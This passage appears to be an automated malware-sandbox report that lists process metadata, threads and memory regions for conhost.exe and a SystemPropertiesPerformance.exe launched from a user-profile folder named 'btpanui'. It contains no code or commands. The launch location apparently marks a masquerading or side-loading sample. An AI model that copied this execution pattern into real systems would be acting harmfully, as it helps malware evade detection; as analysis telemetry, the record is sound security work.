region_type = private name = "private_0x000001cd55c30000" filename = "" Thread: id = 328 os_tid = 0x648 Thread: id = 329 os_tid = 0x9a4 Thread: id = 330 os_tid = 0x9dc Thread: id = 331 os_tid = 0x9d4 Thread: id = 332 os_tid = 0x9b8 Thread: id = 333 os_tid = 0x9a0 Process: id = "80" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x46ea7000" os_pid = "0x1390" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "78" os_parent_pid = "0x12fc" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2512 start_va = 0x4800000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 2513 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2514 start_va = 0xb4c46a0000 end_va = 0xb4c46dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b4c46a0000" filename = "" Region: id = 2515 start_va = 0xb4c4800000 end_va = 0xb4c49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b4c4800000" filename = "" Region: id = 2516 start_va = 0x21242ab0000 end_va = 0x21242acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242ab0000" filename = "" Region: id = 2517 start_va = 0x21242ad0000 end_va = 0x21242ae4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242ad0000" filename = "" Region: id = 2518 start_va = 0x7df5fff90000 end_va = 0x7ff5fff8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fff90000" filename = "" Region: id = 2519 start_va = 0x7ff616f50000 end_va = 0x7ff616f72fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616f50000" filename = "" Region: id = 2520 start_va = 0x7ff617080000 end_va = 0x7ff617090fff monitored = 0 entry_point = 0x7ff6170816b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 2521 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2522 start_va = 0x21242af0000 end_va = 0x21242c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242af0000" filename = "" Region: id = 2523 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2524 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2525 start_va = 0x21242ab0000 end_va = 0x21242abffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242ab0000" filename = "" Region: id = 2526 start_va = 0x7ff616e50000 end_va = 0x7ff616f4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616e50000" filename = "" Region: id = 2527 start_va = 0x21242c90000 end_va = 0x21242d4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2528 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2529 start_va = 0xb4c46e0000 end_va = 0xb4c471ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b4c46e0000" filename = "" Region: id = 2530 start_va = 0x21242af0000 end_va = 0x21242b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242af0000" filename = "" Region: id = 2531 start_va = 0x21242b90000 end_va = 0x21242c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b90000" filename = "" Region: id = 2532 start_va = 0x21242ac0000 end_va = 0x21242ac6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242ac0000" filename = "" Region: id = 2533 start_va = 0x7fffd9100000 end_va = 0x7fffd9158fff monitored = 0 entry_point = 0x7fffd910fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 2534 start_va = 0x21242af0000 end_va = 0x21242af0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242af0000" filename = "" Region: id = 2535 start_va = 0x21242b10000 end_va = 0x21242b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b10000" filename = "" Region: id = 2536 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2537 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2538 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2542 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2543 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2544 start_va = 0x21242b00000 end_va = 0x21242b06fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b00000" filename = "" Region: id = 2545 start_va = 0x7ffff05b0000 end_va = 0x7ffff06f2fff monitored = 0 entry_point = 0x7ffff05d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2546 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2547 start_va = 0x7fffedf50000 end_va = 0x7fffedf8afff monitored = 0 entry_point = 0x7fffedf512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2548 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2549 start_va = 0x7fffeb310000 end_va = 0x7fffeb495fff monitored = 0 entry_point = 0x7fffeb35d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2553 start_va = 0x21242b20000 end_va = 0x21242b20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b20000" filename = "" Region: id = 2554 start_va = 0x21242b30000 end_va = 0x21242b30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b30000" filename = "" Region: id = 2555 start_va = 0x21242d50000 end_va = 0x21242ed7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242d50000" filename = "" Region: id = 2556 start_va = 0x21242ee0000 end_va = 0x21243060fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242ee0000" filename = "" Region: id = 2557 start_va = 0x21243070000 end_va = 0x2124446ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021243070000" filename = "" Region: id = 2558 start_va = 0x21242b40000 end_va = 0x21242b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b40000" filename = "" Region: id = 2562 start_va = 0xb4c4720000 end_va = 0xb4c475ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b4c4720000" filename = "" Region: id = 2563 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2564 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2565 start_va = 0x7fffed0f0000 end_va = 0x7fffed733fff monitored = 0 entry_point = 0x7fffed2b64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2566 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2567 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2568 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2569 start_va = 0x7fffed810000 end_va = 0x7fffed8c4fff monitored = 0 entry_point = 0x7fffed8522e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2570 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2571 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2642 start_va = 0x7fffeb740000 end_va = 0x7fffeb7d5fff monitored = 0 entry_point = 0x7fffeb765570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2643 start_va = 0x21244470000 end_va = 0x2124454ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244470000" filename = "" Region: id = 2645 start_va = 0x21244550000 end_va = 0x21244886fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2646 start_va = 0x21244890000 end_va = 0x21244aa4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244890000" filename = "" Region: id = 2647 start_va = 0x21244ab0000 end_va = 0x21244cc8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244ab0000" filename = "" Region: id = 2648 start_va = 0x21244cd0000 end_va = 0x21244de2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244cd0000" filename = "" Region: id = 2649 start_va = 0x21244df0000 end_va = 0x2124500dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244df0000" filename = "" Region: id = 2650 start_va = 0x21245010000 end_va = 0x2124511bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021245010000" filename = "" Region: id = 2651 start_va = 0xb4c4760000 end_va = 0xb4c479ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b4c4760000" filename = "" Region: id = 2652 start_va = 0x7fffedc00000 end_va = 0x7fffedd59fff monitored = 0 entry_point = 0x7fffedc438e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2653 start_va = 0x21242b40000 end_va = 0x21242b40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242b40000" filename = "" Region: id = 2654 start_va = 0x21242b70000 end_va = 0x21242b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b70000" filename = "" Region: id = 2655 start_va = 0x21244470000 end_va = 0x2124452bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021244470000" filename = "" Region: id = 2656 start_va = 0x21244540000 end_va = 0x2124454ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021244540000" filename = "" Region: id = 2657 start_va = 0x21242b40000 end_va = 0x21242b43fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242b40000" filename = "" Region: id = 2658 start_va = 0x7fffea640000 end_va = 0x7fffea661fff monitored = 0 entry_point = 0x7fffea641a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2659 start_va = 0x7fffeb500000 end_va = 0x7fffeb512fff monitored = 0 entry_point = 0x7fffeb502760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2660 start_va = 0x7fffec960000 end_va = 0x7fffec9b5fff monitored = 0 entry_point = 0x7fffec970bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2661 start_va = 0x21242b50000 end_va = 0x21242b56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021242b50000" filename = "" Region: id = 2662 start_va = 0x21242b60000 end_va = 0x21242b60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242b60000" filename = "" Region: id = 2663 start_va = 0x21242b80000 end_va = 0x21242b80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021242b80000" filename = "" Region: id = 2664 start_va = 0x21244530000 end_va = 0x21244534fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2665 start_va = 0x21245120000 end_va = 0x21245120fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 2666 start_va = 0x21245130000 end_va = 0x21245131fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021245130000" filename = "" Region: id = 2667 start_va = 0x7fffe3a00000 end_va = 0x7fffe3c73fff monitored = 0 entry_point = 0x7fffe3a70400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 2668 start_va = 0x21245140000 end_va = 0x21245140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2669 start_va = 0x21245150000 end_va = 0x21245151fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021245150000" filename = "" Thread: id = 336 os_tid = 0x12cc Thread: id = 338 os_tid = 0xb94 Thread: id = 339 os_tid = 0x12c8 Thread: id = 340 os_tid = 0x11dc Process: id = "81" image_name = "systempropertiesperformance.exe" filename = "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe" page_root = "0x518fe000" os_pid = "0x12b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x3f4" cmd_line = "C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2753 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2754 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2755 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2756 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2757 start_va = 0xa0000 end_va = 0xa1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2758 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2759 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2760 start_va = 0x400000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2761 start_va = 0x9f0000 end_va = 0x9f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 2762 start_va = 0xd00000 end_va = 0xf09fff monitored = 1 entry_point = 0xd27dcd region_type = mapped_file name = "systempropertiesperformance.exe" filename = "\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe") Region: id = 2763 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2764 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2765 start_va = 0xfe0b0000 end_va = 0xfe0d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fe0b0000" filename = "" Region: id = 2766 start_va = 0xfffe0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 2767 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2768 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 2773 start_va = 0xc0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2774 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2775 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2776 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2777 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2778 start_va = 0xf10000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2779 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2780 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2781 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2782 start_va = 0xfdfb0000 end_va = 0xfe0affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fdfb0000" filename = "" Region: id = 2783 start_va = 0xc0000 end_va = 0x17dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2784 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2785 start_va = 0x1b0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2786 start_va = 0x800000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 2787 start_va = 0x75a40000 end_va = 0x75a45fff monitored = 0 entry_point = 0x75a41460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2788 start_va = 0xc00000 end_va = 0xc03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 2789 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2790 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2791 start_va = 0x73fd0000 end_va = 0x740c1fff monitored = 0 entry_point = 0x74008070 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 2792 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4623 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4624 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4625 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4626 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4627 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4628 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4629 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4630 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4631 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 4632 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 4633 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 4634 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4635 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4636 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 4637 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = 